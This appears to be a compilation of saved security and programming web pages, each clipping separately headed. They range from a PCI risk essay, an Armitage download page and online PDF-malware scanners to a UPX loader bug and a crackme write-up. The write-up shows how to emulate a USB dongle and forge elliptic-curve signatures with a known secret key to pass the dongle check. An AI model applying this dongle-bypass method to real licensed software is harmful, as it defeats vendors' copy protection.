March 14th, 2010adminLeave a commentGo to comments

I am a big proponent of risk management and risk-based security. I also work
\(mainly\) in a very specific, yet large, segment of information security that
pertains to the payment card industry \(PCI\). Since I’ve been involved in
this space for a long time I sometimes suffer from the curse of knowledge.
This helps when analyzing information and determining which is valuable and
which is not.

Two weeks ago at Mini-Metricon, Pete Lindstrom said, “we have solved the
problem of information security over 200 times, the problem is we don’t know
which one is right.” He went on to explain that different people are experts
in their own domain. The curse of knowledge hits me in that of all the
information available in the payment card industry, I know which is useful to
me and which should be discarded or is more applicable to another individual.
I do this without thinking and as a result my mental concept of risk
management is shifted from that of others in the general public. My network
includes a strong background in the PCI industry of over 6 years and the
opportunity to work closely with many smart people including Alex Hutton, Adam
Shostack, Branden Williams, Walt Conway, Paul Guthrie, Andrew Jamieson, Anton
Chuvakin, Lucas Zaichkowski, Martin McKeay, and many many other industry
experts. Having access to this holistic source of information provides me a
wealth of information that others may simply not have. \(It also helps that my
job involves QA and I end up reading hundreds of reports or case studies every
year.\) Also, it’s not a point in time, but I call upon these individuals all
the time to help shape and crystallize my understanding of the ever changing
landscape of risk.

Two years ago when I met up with Adam Shostack at RSA and as we talked about
the industry he explained to me that what we need as an industry is more data
in order to form proper conclusions. The main idea being that the more data
you have on a specific topic the more easily you, and everyone else, can make
a rationale decision about how to best protect it. The problem with the lack
of data is the ability to trust the limited data and conclusions you want so
very much to rely on.

This is why when I finally met up with Donn Parker I asked him to explain his
concept of diligence-base security vs risk-based security \[PDF\]. In a
nutshell, Donn explained that risk-based approaches are nothing more than data
alchemy as there is simply not enough public data available to make any sort
of statistically significant conclusion when you assume that the entire
population of data breaches or security failures \(realistically unknown\) is
vastly larger. Indeed it is very difficult to measure and make statistical
decisions about the unknown-unknowns.

The example I like to reference is that of scanning for rogue devices \(i.e.
wireless access points\) on a computer network. Detecting rogue devices
\(unknowns\) is very different than examining known devices, and logic breaks
down when trying to apply traditional sampling methods to this unknown
landscape. Traditionally, sampling of a population is done when the population
is uniform, or in some way known. In general, the more uniform the population
the smaller the sample size may be to determine a statistical conclusion. The
problem with rogue devices is that the population is unknown. If you try to
sample from an ever changing population the results you get at any point in
time may be statically non-reflective of the total population.

Mr. Parker advocates that since we do not have a population of data breaches
significant to the total number, and since the total number and type are ever
changing, there is no scientific way to apply risk-based controls. Instead he
advocates a diligence-based approach towards security. Since we cannot measure
and thus appropriately apply risk-based metrics we should take the agreed upon
“best practice” controls we have and be diligent about their application and
maintenance.

Arguably, one could take the same cynical approach towards the traditional
baseline “best practice” baselines such as BS7799, ISO 27001, ISO 27005 \(for
that matter the entire ISO 27000 series\), or even HIPAA \(HHS guidelines\),
or GLBA \(FFIEC guidelines\). How do we know that these are sound practices
upon which we should build an information security program? With technologies
changing and evolving over time there are many different ways to envision
security.

So if we cannot base our foundation on best practices, and we cannot apply
risk-based controls, what then is left? This is where I propose **holistic
information security**. The diligence method is based on factors such as
budget, management directives, staff talent and availability, and
organizational policies. Although this sounds right from a business
perspective, following these methods provides a ‘good enough for the current
business’ which may or may not be the best direction for the business to
protect itself. Arguably, one cannot know what the best direction is for the
business due to lack of data. See also, chicken-and-the-egg.

I’ve watched over the years as analysts, experts, and individuals claim to
have the correct answer, when in fact all they have is their one piece of the
pie of truth. Instead, I advocate taking a holistic approach towards security
and assimilating as much data as you can before making a decision. Talk with
as many stake holders as possible so you can elevate your level of knowledge
about your industry from amateur to expert. Only by reviewing others’ piece of
the pie can you approach seeing the bigger picture. In fact, Donn Parker
advocates this in his ISSA Journal 2008 paper by proposing that practitioners
of the art of information security seek out other sources of information from
other organizations of comparable size, type, structure, and threat exposure.

If we are actually dealing with an unknown-unknown that we cannot measure or
\(honestly\) see the entirety of, then we are left with only one option. The
only option left is to assimilate as much of the whole as we can. The goal
should be to “seek first to understand and then to be understood“. This
approach enables us to make more informed decisions about what is valuable
information and what is fodder.

**Update:** I also highly recommend you watch Alex Hutton’s Security B-Sides
talk on, Risk Management – Time to blow it up and start over? \[slides\]

# Download Armitage - Cyber Attack Management for Metasploit

**Created:**| _11/29/2010 10:40:20 PM_  
---|---  
**Updated:**| _11/29/2010 10:40:36 PM_  
**Author:**| __  
**Tags:**| _Metasploit awesome_  
  

# Download Armitage 11.25.10

  * .zip \(Windows\)
  * .tgz \(Linux\)
  *   

  * Change Log
  *   

  * Source

## Requirements

To use Armitage, you need the following:

  * Linux or Windows \(maybe OS X... it hasn't been tested there yet\)
  * Java 1.6+
  * Metasploit Framework 3.5+
  * A configured database. Make sure you know the username, password, and host.

## License

Armitage is licensed under the GNU General Public License v2. Some third-party
code used in this project is distributed under the BSD license.

## Disclaimer

Armitage is **not** affiliated with Rapid7 or the Metasploit project. Use this
code for your development and don't hack systems that you don't have
permission to hack. The existence of this software does not reflect the
opinions or beliefs of my current employers, past employers, future employers,
or any small animals I come into contact with. If you're part of the MSF crew,
I hope you take this project as a show of respect for what you've built and as
my attempt to give something back to the community. If you're not, then enjoy
this software with my blessing. I hope it helps you learn and become a better
security professional.

# Mr. Vacuum Tube: UC Davis Senior Design in RF/Microwaves

**Created:**| _4/3/2013 8:33:27 AM_  
---|---  
**Updated:**| _4/3/2013 8:33:27 AM_  
**Author:**| __  
**Tags:**| _rf microwaves_  
  

# Mr. Vacuum Tube

Open discussion on a variety of electronics projects, including: Radar design,
pulsed compressed radar, impulse radar, phased array radar, radar imaging
systems, electromagnetics, vacuum tube audio design, misc analog electronics,
antique radio equipment restoration, amateur radio, and various other DIY
electronics.

# Lenny Zeltser on Information Security — 4 Free Online Tools for Examining
Suspicious PDFs

**Created:**| _5/17/2011 7:21:44 PM_  
---|---  
**Updated:**| _5/17/2011 7:21:44 PM_  
**Author:**| __  
**Tags:**| _bookmark web Malware-analysis_  
  

## 4 Free Online Tools for Examining Suspicious PDFs

In an earlier post I outlined 6 free local tools for examining PDF files.
There are also several handy web-based tools you can use for analyzing
suspicious PDFs without having to install any tools. These online tools
automate the scanning of PDF files to identify malicious components. The list
includes PDF Examiner, Jsunpack, Wepawet and Gallus.

**PDF Examiner**

PDF Examiner by Malware Tracker is able to scan the uploaded PDF for sveral
known expoits, allows the user to explore the structure of the file, as well
as examine, decode and dump PDF object contents. This tools lends itself well
to manual PDF analysis tasks. In this way, it differs from Jsunpack and
Wepawet, which focus on automating the analysis as much as possible.

<img src='img/tumblr_ll5vc8f1ki1qd9o7r.png' />

<img src='img/tumblr_ll5v0qlYSt1qd9o7r.png' />

**Jsunpack**

Jsunpack by Blake Hartstein is designed for automatically examining and
deobfuscating JavaScript. Its features also include carving contents of
network packet capture \(PCAP\) files and identifying common client-side
exploits. It can also examine PDF files for malicious JavaScript artifacts.
\(The example I uploaded used Flash, rather than PDF, so Jsunpack didn’t
locate malicious artifacts in this case.\)

<img src='img/tumblr_ll5vam3cho1qd9o7r.png' />

<img src='img/tumblr_ll5vasUyEv1qd9o7r.png' />

**Wepawet**

Wepawet by UCSB Computer Security Lab is an automated tool for identifying
malicious client-side components in the form of PDF, Flash and JavaScript
elements. \(However, it did not flag the PDF file I uploaded as malicious.\)
Like Jsunpack, its strength is in examining JavaScript for shellcode and
suspicious actions.

<img src='img/tumblr_ll5vyiHMme1qd9o7r.png' />

Gallus by MyCERT is an on-line scanner for PDF files, which is able to
identify common exploits. Its present implementation seems to focus on
JavaScript, and it was unable to identify the PDF sample that included a
Flash-based exploit as malicious.

<img src='img/tumblr_ll5xkq4nsO1qd9o7r.png' />

**Multi-Engine Antivirus Scanners**

If you merely need to know whether antivirus products identify a particular
PDF file as malicious, without gaining much insight into the files’s inner-
workings, you can upload the PDF to free online services that scan files using
multiple antivirus engines. The options include: VirusTotal, Jotti’s Malware
Scan, Filterbit and VirSCAN.

<img src='img/tumblr_ll5y5iOJzl1qd9o7r.png' />

**Flash and Online PDF Analysis Tools**

To capture the screen shots above, I used the same “The Obama Administration
and the Middle East.pdf” file I mentioned in my posting How to Extract Flash
Objects from Malicious PDF Files. While attackers have historically used
JavaScript, that file demonstrated a relatively recent technique of launching
exploits with the help of Flash object instead.

The automated online analysis tools Jsunpack, Wepawet and Gallus weren’t able
to handle Flash-based PDF malware, even though they do really well with
JavaScript embedded in PDF files. \(This is why using Flash in PDFs is more
attractive to some attackers at the moment than utilizing JavaScript.\)
Despite this present limitation, there awe excellent tools that can save you a
lot of time. I have no doubts that the developers of these tools will adjust
them to handle Flash objects more effectively.

— Lenny Zeltser

# Static Code Analysis HOWTO « Agile Developer

**Created:**| _4/3/2011 2:30:17 PM_  
---|---  
**Updated:**| _4/3/2011 2:30:50 PM_  
**Author:**| __  
**Tags:**| _compiler-building analysis static cont-int_  
  

# Static Code Analysis HOWTO

by kto on 2011/03/31

Last week I promised to write about different static source code analysis
tools and methods we’re using. Here you go:

## Finding bugs

The rationale for using this kind of analysis is obvious. Of course we want to
catch bugs as early as possible.

For C++ code, we’re using CppCheck together with Cppcheck Plugin for
Jenkinsfor finding bugs that a C/C++ compiler doesn’t see. CppCheck Jenkins
plugin has nice configuration options:

<img src='img/Temp2_7701.jpg' width='902' height='183' />

We’ve set our jobs so that if there are any new errors, the build will be
marked as failure. We also have unchecked ‘Style’ issues from the severity
evaluation as we’re mostly concerned about real errors. With this
configuration we haven’t had any false positives reported this far.

Needless to say, all problems reported by CppCheck need to be fixed
immediately. Developers are also able to run CppCheck analysis on their own
development environments.

When the build fails, all who committed code in that build will receive an
e-mail stating that it might have been their commit which broke the build. The
mail is also Cc:d to all other developers working in the project.

## Finding duplicate code

Duplicate code is bad. Not only can it be considered as  _waste_ , but it also
means that when code is changed, all the duplicates of it probably need to be
changed as well. And as one might not even know that some piece of code is
duplicated, it’s likely that e.g. a bug fix is only done on one occurrence of
the same code. Therefore we want to minimize the amount of duplicate code.

For finding out duplicate code we use a tool called PMD’s Copy/Paste Detector
\(CPD\) together with Jenkins DRY Plugin. Also here we have taken similar
approach as with other analysis, if the amount of duplicate code grows, we
will mark the build as unstable or failed. CPD works with Java, JSP, C, C++,
Fortran and PHP code.

<img src='img/Temp2_7702.jpg' width='1083' height='499' />

## Finding Complex Code

For C/C++ code, we use a tool called CCM to find out code which is potentially
hard to change. CCM measures the Cyclomatic Complexity of code. Even though
Jenkins supports running CCM as part of the build, it is missing the features
for setting thresholds based on CCM results. Therefore we writed a small
Python script to parse the CCM’s XML report and calculate the amount of High
risk methods \(cyclomatic complexity 20 or more\) and the amount of Medium
risk methods \(cyclomatic complexity 10 or more\). The script takes in
threshold values for high and medium risk methods and fails the build in case
high risk threshold is exceeded. In case medium risk threshold is exceeded,
the script outputs a warning text and we use Jenkins Text Finder plugin to
mark the build unstable.

For Java code, we get the complexity figures from Clover report. With that we
also need to use a custom Python script for parsing the results.

# Windows Platform Changes « Just Let It Flow

**Created:**| _10/29/2011 1:44:06 PM_  
---|---  
**Updated:**| _10/29/2011 1:44:06 PM_  
**Author:**| __  
**Tags:**| _windows environment awesome_  
  

### Windows Platform Changes

Filed under: — adeyblue @ 1:43 am

## Contents

  1. Introduction
  2. Download
  3. Screenshots
  4. Other Data of Interest
  5. Notes

### Introduction

As MSDN evolves, information in the function-oriented pages regarding
unsupported operating systems is stripped out so the pages stay focused on
what is relevant. The side effect of this culling is that the real lineage of
these functions and what each OS supports is lost to the mists of time.

Well it was, until now. Those who care about such minutiae can now forgive
MSDN for their deletion and with a bit of SQL get the data they need. Yep,
every OS module from 95 onwards has had it’s imports, exports, and selected PE
header info extracted and committed to a handy-dandy Access database. That’s a
chronicle of 42 OS versions, 48,000+ modules, 2,100,000+ exports and
5,125,000+ imports.

Apart from curiosity, the data can be used to generate statistics like I did
with the previous version of the database. Definitive changesets between
Windows versions can be produced, developers can verify the existance of an
API and the stability of ordinals, and others can find the names of ordinal
only exports and which parts of Windows call others. OK, so those aren’t
exactly humanity enriching applications but it gets some usage from me, so
it’s probably useful to someome else too \(For example, Here’s a case where
the FindExportsInCriteria query was useful\). Some screenshots of the tables
and some queries are shown below.

As well as the database, the downloadable includes C\# / C++/CLI source of the
program that inserts into the database and produces XML “diffs” and a batch
file to facilitate their production. All the diffs the DB can generate are
listed and viewable from here.

### Download

Download the 7-zip compressed file \(35.7 MB\)  
MD5: 419bab11514685350be8af5a1e01fae0  
SHA1: a918514806a1bae5af2d9b977b860836771d25f7  
CRC32: ea1ab116

### Screenshots

An idea of what data is available:

<img src='img/Temp2_9911.png' width='218' height='300' alt='Most functions exported query' />Most functions exported query |  <img src='img/Temp2_9908.png' width='162' height='300' alt='The platforms in the DB' />The platforms in the DB |  <img src='img/Temp2_9909.png' width='300' height='130' alt='The Module table' />The Module table  
---|---|---  
<img src='img/Temp2_9912.png' width='300' height='250' alt='Files with the most imports query' />Files with the most imports query |  <img src='img/Temp2_9907.png' width='186' height='300' alt='OS Export counts query' />OS Export counts query |  <img src='img/Temp2_9910.png' width='243' height='300' alt='Modules which import SHUnicodeToAnsi on Vista SP0' />Modules which import SHUnicodeToAnsi on Vista SP0  
### Other Data of Interest

Using the same files that the database is populated with, there’s a generated
a list of resource counts per OS with module breakdowns here. There’s also a
collection of files containing registry stats per base OS installs here.

### Notes

The highest edition 32-bit version of each OS was used. The entire OS list is:  
95 \(RTM, SP1, OSR2, OSR2 + USB supplement, OSR2.5\)  
98 \(RTM, SE\)  
ME  
NT 3.1 \(RTM, SP3\)  
NT 3.5 \(RTM, SP3\)  
NT 3.51 \(RTM, SP2, SP3, SP4, SP5\)  
NT4 \(RTM, SP2, SP3, SP4, SP5, SP6a\)  
2000 \(RTM, SP1, SP2, SP3, SP4\)  
XP \(RTM, SP1a, SP2, SP3\)  
Server 2003 \(RTM, SP1, SP2\)  
Vista \(RTM, SP1, SP2\)  
Server 2008 \(RTM \(SP1\), SP2\)  
7 \(RTM, SP1\)

If a service pack is missing, then I couldn’t find a download of it anywhere.

On NT systems files from %windir%, %Windir%\system32, and
%Windir%\system32\drivers were sampled.  
On 9x, files from %windir%, %Windir%\system, and %Windir%\system32\drivers
were sampled.

Except for 98 and 98 SE, all OS’s were installed on a default setup Oracle
VirtualBox VM \(3.2.8r64453\) with sound, networking and USB enabled. 98 and
98 SE were installed on Sun VirtualBox 3.1.6r59338. When given options \(NT4,
ME and below\) custom install was selected and everything checked on, also
everything possible was installed on the network protocols and clients parts
of setup.

Service packs were applied cumulatively instead of separately \(e.g.
SP0->SP1->SP2 instead of SP0->SP1, SP0->SP2\)

The exact service packs installed are listed here.

System version numbers were extracted from the dwProductVersion\(MS|LS\)
members of kernel32.dll or ntoskrnl.exe’s VS\_FIXEDFILEINFO.

Module version numbers \(file and product\) were extracted from the
dwFileVersion\(MS|LS\) and dwProductVersion\(MS|LS\) members of their
VS\_FIXEDFILEINFO.

For ordinal only exports, the MS symbols were used to get the names. If no
names were found, they are named as ‘Ordinal x’. This is mostly apparent with
the mfc40 and mfc42 dlls.

The database is in Access 2000 format, and weighs in at 341MB uncompressed.

Starting from XP SP0, comctl32v5.dll is the version from system32 while
comctl32.dll is the highest versioned comctl32 from the WinSxS directory.

# UPX “accidentally” increments LoadCount for DLLs

**Created:**| _6/9/2011 11:16:27 AM_  
---|---  
**Updated:**| _6/9/2011 11:24:21 AM_  
**Author:**| __  
**Tags:**| _reversing windows environment_  
  

  * Home
  * Papers
  * Source codes

## UPX “accidentally” increments LoadCount for DLLs

June 8, 2011 / ReWolf posted in programming, reverse engineering / 1 Comment

When I was preparing last dirtyJOE update I’ve noticed that under some
circumstances python DLLs are not freed from memory. What was even more
interesting, this behaviour was occurring only in ready to release version of
application. I’ve tested few scenarios and I figured out that the problem lays
in **UPX** loader.

I’ll try to explain what exactly happens.

Prerequisites:

  * there are two DLLs \(preinstalled.dll, mylib.dll\) and main executable \(test.exe\)
  * import table of mylib.dll contains references to preinstalled.dll
  * test.exe dynamically loads both libs

Scenario:

  1. test.exe tries to load preinstalled.dll \(to check if it was installed in the system\)
  2. if it succeed **LoadCount** field in **\_LDR\_DATA\_TABLE\_ENTRY** will be incremented \(**LoadCount = 1**\)
  3. test.exe now can try to load mylib.dll \(without successful step 1, system will show ugly **MessageBox** about lacking of preinstalled.dll\)
  4. if everything is ok **LoadCount** of preinstalled.dll should be incremented \(**LoadCount = 2**\)
  5. \(…\)
  6. free mylib.dll, **LoadCount** of preinstalled.dll should be decremented \(**LoadCount = 1**\)
  7. free preinstalled.dll, **LoadCount** decrementation \(**LoadCount = 0**\)
  8. system unmaps preinstalled.dll from application memory

Pseudocode:

[code]

     HMODULE hPreInst = LoadLibrary("preinstalled.dll");
            if (0 == hPreInst)
            {
                    return;
            }
            //**LoadCount = 1**
    
            HMODULE hMyLib = LoadLibrary("mylib.dll");
            if (0 == hMyLib)
            {
                    FreeLibrary(hPreInst);
                    return;
            }
            //**LoadCount = 2**
    
            //do some stuff here, it doesn't matter what <img src='img/11272_icon_wink.gif' alt=';)' /> 
    
            FreeLibrary(hMyLib);            //**LoadCount = 1**
            FreeLibrary(hPreInst);          //**LoadCount = 0** , library is unmaped from the memory
    
[/code]

In above situation everything is clear and works perfectly until someone will
not pack mylib.dll with **UPX** \(or any other packer with similar imports
handling\). For stability\(?\) and compatibility\(?\) reasons **UPX** keeps
one imported function from every referenced library \(except **kernel32**\):

**Original imports table**| **UPX imports table**  
---|---  
**Kernel32.dll** 

  * func1
  * func2
  * func3
  * …

| **Kernel32.dll** 

  * LoadLibraryA
  * GetProcAddress
  * VirtualProtect
  * VirtualAlloc
  * VirtualFree

  
**mylib.dll** 

  * func1
  * func2
  * func3
  * …

| **mylib.dll** 

  * func1

  
**xxxx.dll** 

  * func1
  * func2
  * func3
  * …

| **xxxx.dll** 

  * func1

  
**UPX** loader is responsible for filling proper addresses in **IAT** :

[code]

     lea     edi, [esi+10000h]
    
    _next_library:
            mov     eax, [edi]
            or      eax, eax
            jz      short _imports_end
            mov     ebx, [edi+4]
            lea     eax, [eax+esi+121B8h]
            add     ebx, esi
            push    eax
            add     edi, 8
            **call    dword ptr [esi+121F4h] ; LoadLibraryA**
            xchg    eax, ebp
    
    _next_function:
            mov     al, [edi]
            inc     edi
            or      al, al
            jz      short _next_library
            mov     ecx, edi
            push    edi
            dec     eax
            repne scasb
            push    ebp
            call    dword ptr [esi+121F8h] ; GetProcAddress
            or      eax, eax
            jz      short _gpa_error
            mov     [ebx], eax
            add     ebx, 4
            jmp     short _next_function
    
    _gpa_error:
            popa
            xor     eax, eax
            retn    0Ch
    
    _imports_end:
    
[/code]

Let’s back to previous pseudocode:

[code]

     HMODULE hPreInst = LoadLibrary("preinstalled.dll");
            if (0 == hPreInst)
            {
                    return;
            }
            //LoadCount = 1
    
            HMODULE hMyLib = LoadLibrary("mylib.dll");    //**mylib.dll is packed by UPX now !!!**
            /*
    **Actions taken behind our back:
                    - loading UPX imports table from preinstalled.dll by windows loader,
                      LoadCount = 2
                    - loading original imports table from preinstalled.dll by UPX loader,
                      LoadCount = 3**
            */
            if (0 == hMyLib)
            {
                    FreeLibrary(hPreInst);
                    return;
            }
            //**LoadCount = 3 !!!**
    
            //do some stuff here, it doesn't matter what <img src='img/11272_icon_wink.gif' alt=';)' /> 
    
            FreeLibrary(hMyLib);            //**LoadCount = 2**
            FreeLibrary(hPreInst);          //**LoadCount = 1, library will stay in memory !!!**
[/code]

Now, there is one simple question \(or maybe not that simple ?\): why don’t
use **GetModuleHandleA** instead of **LoadLibraryA** ?

Share|

< NO TAGS >

« Using Python scripts in dirtyJOE

### Comments \(1\)

  1. 00:07, June 9, 2011**Bartosz Wójcik   / Reply**
**Because nobody cares<img src='img/11271_icon_smile.gif' alt=':)' /> , UPX is
like this for years, btw. the similar thing is with the UXTHEME.dll system
library, load it once and call a few of its APIs and suddenly you’re going to
end up with reference counter set to 3 or smth so you have to call FreeLibrary
in the loop to free its memory.**

**PS. And UPX \(and other packers\) keeps static imports because of the TLS
handling bug in Windows, TLS index isn’t allocated for DLL libraries that
aren’t statically linked to the executable file.**

# Dongles and Nyberg-Rueppel signature scheme « GDTR

**Created:**| _7/15/2011 2:46:43 PM_  
---|---  
**Updated:**| _7/15/2011 2:46:43 PM_  
**Author:**| __  
**Tags:**| _reversing signatures_  
  

## Dongles and Nyberg-Rueppel signature scheme

10/07/2011 pa\_kt Leave a comment Go to comments

“Dongle me” by cyclops is, as name suggest, a crackme that requires a hardware
dongle, or a software emulator. These two technical problems, combined with an
uncommon authentication scheme, make it an interesting target to analyse.

<img src='img/Temp2_2338.png' width='416' height='235' />

First, we need to learn how our target detects and communicates with the
dongle. In this case, since the executable is small and not
packed/protected/obfuscated, a quick glance at imports section is sufficient
to get to the dongle discovery procedure — HidD\_\* APIs from hid.dll give it
away instantly.

Pseudocode:

[code]

    #define VENDOR_ID  0x04d8
    #define PRODUCT_ID 0x003f
    
    device_t g_device = NULL;
    
    // address: 00401090
    bool find_hid_dongle(int vendor_id, int product_id){
    
        device_t dev;
    
        while(dev = next_hid_device()){
    
            if(dev->vid == vendor_id && dev->pid == product_id){
                g_device = dev;
                return TRUE;
            }
        }
    
        return FALSE;
    }
[/code]

And a high level view of authentication:

[code]

    bool authenticate(){
        char buffer[N];
    
        if(!find_hid_dongle(VENDOR_ID, PRODUCT_ID)){
            return FALSE;
        }
    
        read_dongle(g_device, buffer);
    
        if(is_valid(buffer)){
            return TRUE;
        }
    
        return FALSE;
    }
[/code]

To make it even clearer: HID devices installed in the OS are enumerated one by
one. Dongle is recognized by specific values of variables exposed by every
HID: product\_id and vendor\_id. If found, device is opened with CreateFile
and read with ReadFile \(standard windows APIs\). Finally, read data is
validated. Before creating a dongle, or an emulator, we need to get familiar
with HID.

## Human interface devices

Human Interface Devices are devices that interact with humans — take input
from them and/or present them output. Good examples are mouse and a keyboard.
Primary motivation for HID, was to simplify the process of installation of PC
input devices. Prior to HID, custom devices were required to implement their
own protocols to communicate with the user, which of course forced developers
to create custom drivers to handle these protocols, and users to install these
drivers. HID protocol makes things simpler. Instead of custom drivers,
developers need to “describe” their protocol using HID descriptors.
Descriptors are parsed and interpreted by the OS itself, allowing developers
to easily create complex devices from pritmitives provided by the OS.

To implement a hardware HID dongle, we can use Teensy, or any compatible
clone. I found a Teensy 1.0 clone available for few bucks, preloaded with a
PS3 hack <img src='img/Temp2_2343.png' alt=':)' /> . With USB raw hid example
it’s trivial to implement a simple dongle that waits for data from our keygen,
saves it in EEPROM and then sends it back to the OS, in a loop. If you want to
take a look at the implementation, see here.

Creating an emulator is more complicated and requires a HID miniport driver.
While it certainly is possible to create it basing only on Win DDK HID
samples, it is no easy feat, if you don’t have experience in kernel
development. Fortunately, there is an excellent open source project called
vmulti, created by Daniel Newton, that does exactly what we need: creates
virtual HID devices that can be read / written to. Adapting it to our needs is
a technicality that I feel isn’t worth describing, so check the sources if you
are interested in details.

Emulator will simply pass stuff received from the keygen to anyone who invokes
ReadFile\(\). Here’s a nice screenshot of device manager with successfully
installed emulator:

<img src='img/Temp2_2325.png' width='229' height='130' />

## Authentication

Finally, the most interesting part <img src='img/Temp2_2343.png' alt=':)' /> .
To recognize used authentication scheme, make shure to apply IDA signatures
for MIRACL bignum library, otherwise you will unnecessarily spend a lot of
time identifying functions. Crackme uses elliptic curve cryptography, so it’s
very possible that failing to recognize MIRACL usage, would cost you digging
deep into the assembly code with slim chances of making any sense out of it.

Cyclops used an elliptic curve variant of Nyber-Rueppel signature scheme.
Current user’s username is “hashed” with CRC32. Then, CRC is compared to a
message extracted from an ECNR signature read from the dongle. To pass
authentication, we need to sign the CRC and push it to the dongle.

## Nyberg-Rueppel Signature Scheme

Let <img src='img/Temp2_2327.png' alt='E' /> be an elliptic curve defined over
<img src='img/Temp2_2331.png' alt='\mathbb{Z}_p' /> \(<img
src='img/Temp2_2347.png' alt='p > 3' /> prime\) such that <img
src='img/Temp2_2327.png' alt='E' /> contains a cyclic subgroup <img
src='img/Temp2_2337.png' alt='H' /> in which the discrete logarithm problem is
intractable.

Let <img src='img/Temp2_2350.png' alt='K=\{(E,k,P,Q): Q=k*P\}' />, where <img
src='img/Temp2_2353.png' alt='P \in H \subset E' />. Points <img
src='img/Temp2_2348.png' alt='P' /> and <img src='img/Temp2_2345.png' alt='Q'
/> are public, while <img src='img/Temp2_2341.png' alt='k' /> is secret. For
<img src='img/Temp2_2339.png' alt='K' /> defined as above, for a \(secret and
random\) <img src='img/Temp2_2330.png' alt='t \in \mathbb{Z}_{|H|}' /> and for
a \(message\) <img src='img/Temp2_2344.png' alt='m \in \mathbb{Z}_p' />,
define:

<img src='img/Temp2_2336.png' alt='sign_K(m, t) = (s_1, s_2)' />

where

<img src='img/Temp2_2329.png' alt='(x_1, y_1) = t*P' />

<img src='img/Temp2_2332.png' alt='s_1 = x_1 + hash(m)' /> mod <img
src='img/Temp2_2349.png' alt='p' />

<img src='img/Temp2_2333.png' alt='s_2 = t - k*s_1' /> mod <img
src='img/Temp2_2349.png' alt='p' />

and

<img src='img/Temp2_2340.png' alt='verify_K(m, s_1, s_2) = true \iff
z=hash(m)' />

where

<img src='img/Temp2_2328.png' alt='(x_2, y_2) = s_2*P + s_1*Q' />

<img src='img/Temp2_2346.png' alt='z = s_1-x_2' />

This works, because <img src='img/Temp2_2342.png' alt='s_2*P + s_1*Q = (t -
k*s_1)*P + s_1*k*P = t*P' />.

Since we now know what cryptosystem we are up against, and how to generate
correct signatures, let’s take a look at curve parameters used in the crackme.
Since author claims it’s solvable without patching, we expect either:

  1. a small curve, where ECDLP can be effectively solved
  2. a weak curve, that is suspectible to a cryptographic attack \(examples in \[3\]\)
  3. something tricky <img src='img/Temp2_2343.png' alt=':)' />

Quick inspection of parameters shows that 1\) and 2\) are not the case. Used
curve is **secp112r1** , which is bad news for us, since secp\* curves \(their
parameters\) are chosen by Certicom research \[2\], to be optimal for
cryptographic purposes. This means they provide maximal possible bit-strength
security against fastest known ECDLP solving algorithms and aren’t weakened by
special-case attacks.

Before using these curves, you may wonder how were their parameters chosen,
after all, maybe NSA helped to pick them <img src='img/Temp2_2352.png'
alt=';)' /> . Fortunately, these concerns were anticipated and curves were
generated by a SHA-1 powered PRNG, seeded with a known value and then checked
for desired properties, so no parameter could be predetermined. Since seeds
and PRNG implementation are public \[2\], you can even repeat the process and
verify chosen curves yourself.

We are left with option 3\). Before doing anything complicated, I wanted to
check if the ECDLP from crackme was referenced anywhere on the Internet.
secp112r1 parameters \(<img src='img/Temp2_2335.png' alt='a, b, p' />\) are
common and won’t provide any interesting clues, but coordinates of point <img
src='img/Temp2_2348.png' alt='P' /> \(or <img src='img/Temp2_2326.png' alt='G'
/> , using Certicom’s nomenclature\) could, as cyclops decided to use a non-
standard base point.

Searching for **9487239995A5EE76B55F9C2F098**\(<img src='img/Temp2_2334.png'
alt='x' /> coord. of <img src='img/Temp2_2348.png' alt='P' />\) yields nothing
of interest, but searching for **188281465057972534892223778713752** \(same
value, but in base 10\) turns out to be a bull’s eye <img
src='img/Temp2_2352.png' alt=';)' /> .

In 2009, Bos, Marcelo, Kaihara, Kleinjung, Lenstra and Montgomery solved an
ECDLP over secp112r1, using 200 PS3 consoles. ECDLP instance they were solving
was <img src='img/Temp2_2351.png' alt='Q=k*P' />, where

P = \(188281465057972534892223778713752, 3419875491033170827167861896082688\),

Q = \(1415926535897932384626433832795028,
3846759606494706724286139623885544\).

Solution \(which took ~6 months to find\) is
k=312521636014772477161767351856699. The exact same ECDLP is used in our
crackme, so fortunately, all we have to do is to implement Nyber-Rueppel
scheme and use <img src='img/Temp2_2341.png' alt='k' /> above to emit correct
signatures <img src='img/Temp2_2343.png' alt=':)' /> .

See here for sources \(dongle\ folder, crackme in crackme\ <img
src='img/Temp2_2343.png' alt=':)' /> \).

**References**

\[1\] Henna Pietiläinen,  _Elliptic curve cryptography on smart cards_ , page
24, http://goo.gl/Lpr4h

\[2\] Certicom Research, _SEC 2: Recommended Elliptic Curve Domain Parameters_
, 2000, http://goo.gl/sJV5A

\[3\] Matthew Musson,  _Attacking the Elliptic Curve Discrete Logarithm
Problem,_http://goo.gl/L4Dz8

# Better Than Inception

**Created:**| _2/1/2011 5:23:03 PM_  
---|---  
**Updated:**| _2/1/2011 7:20:00 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

<img src='img/Temp2_1011.jpg' alt='Better Than Inception' />

**  
**

  

##  
  
  
  
  
  
  
  
  

  
  
  

# tracing-framework by Google

**Created:**| _8/7/2013 9:10:57 AM_  
---|---  
**Updated:**| _8/7/2013 9:10:57 AM_  
**Author:**| __  
**Tags:**| _Debugging web browser tracing_  
  

# **W** eb Tracing Framework****

Rich tools for instrumenting, analyzing, and visualizing web apps**.**  
Make your app jank-free  at 60fps**\!**

Install Chrome Extension  Get Started

# Advanced Tracing for Advanced Apps**.**

Squeeze every drop of performance out of your code**.**

<img src='img/Temp2_10675.png' />

Example trace: WebGL game

## Rich Tracing****

Choose what methods to trace and add custom data to each event**.** Track
asynchronous flows and actions**.**

## Slick Visualization****

Smoothly dig through millions of events in an awesome UI**.** See patterns and
understand your code like never before**.**

## Extensible Framework****

Write extensions to capture more data or visualize it in new ways**.** Write
small node**.** js scripts to process traces and pull out useful data**.**

## Canvas & WebGL****

Capture and replay HTML5 <canvas> and WebGL content**.** Write tools to
analyze and test your drawing.

## Track Memory Usage****

Find every byte allocated by every function via heap tracking**.** See not
just the what but when and who of every allocation**.**

## Remotely Trace Android****

Grab captures and analyze pages running on Chrome for Android using a simple
remote controller**.**

Copyright 2013 Google, Inc**.**

All code released under a BSD-style license **.**

****

# Fuzzer Automation with SPIKE | InfoSec Resources
**Created:**| _12/27/2010 8:34:35 AM_  
---|---  
**Updated:**| _12/27/2010 8:35:02 AM_  
**Author:**| __  
**Tags:**| _bookmark Fuzzer Tutorials awesome_  
  

Fuzzer Automation with SPIKE  

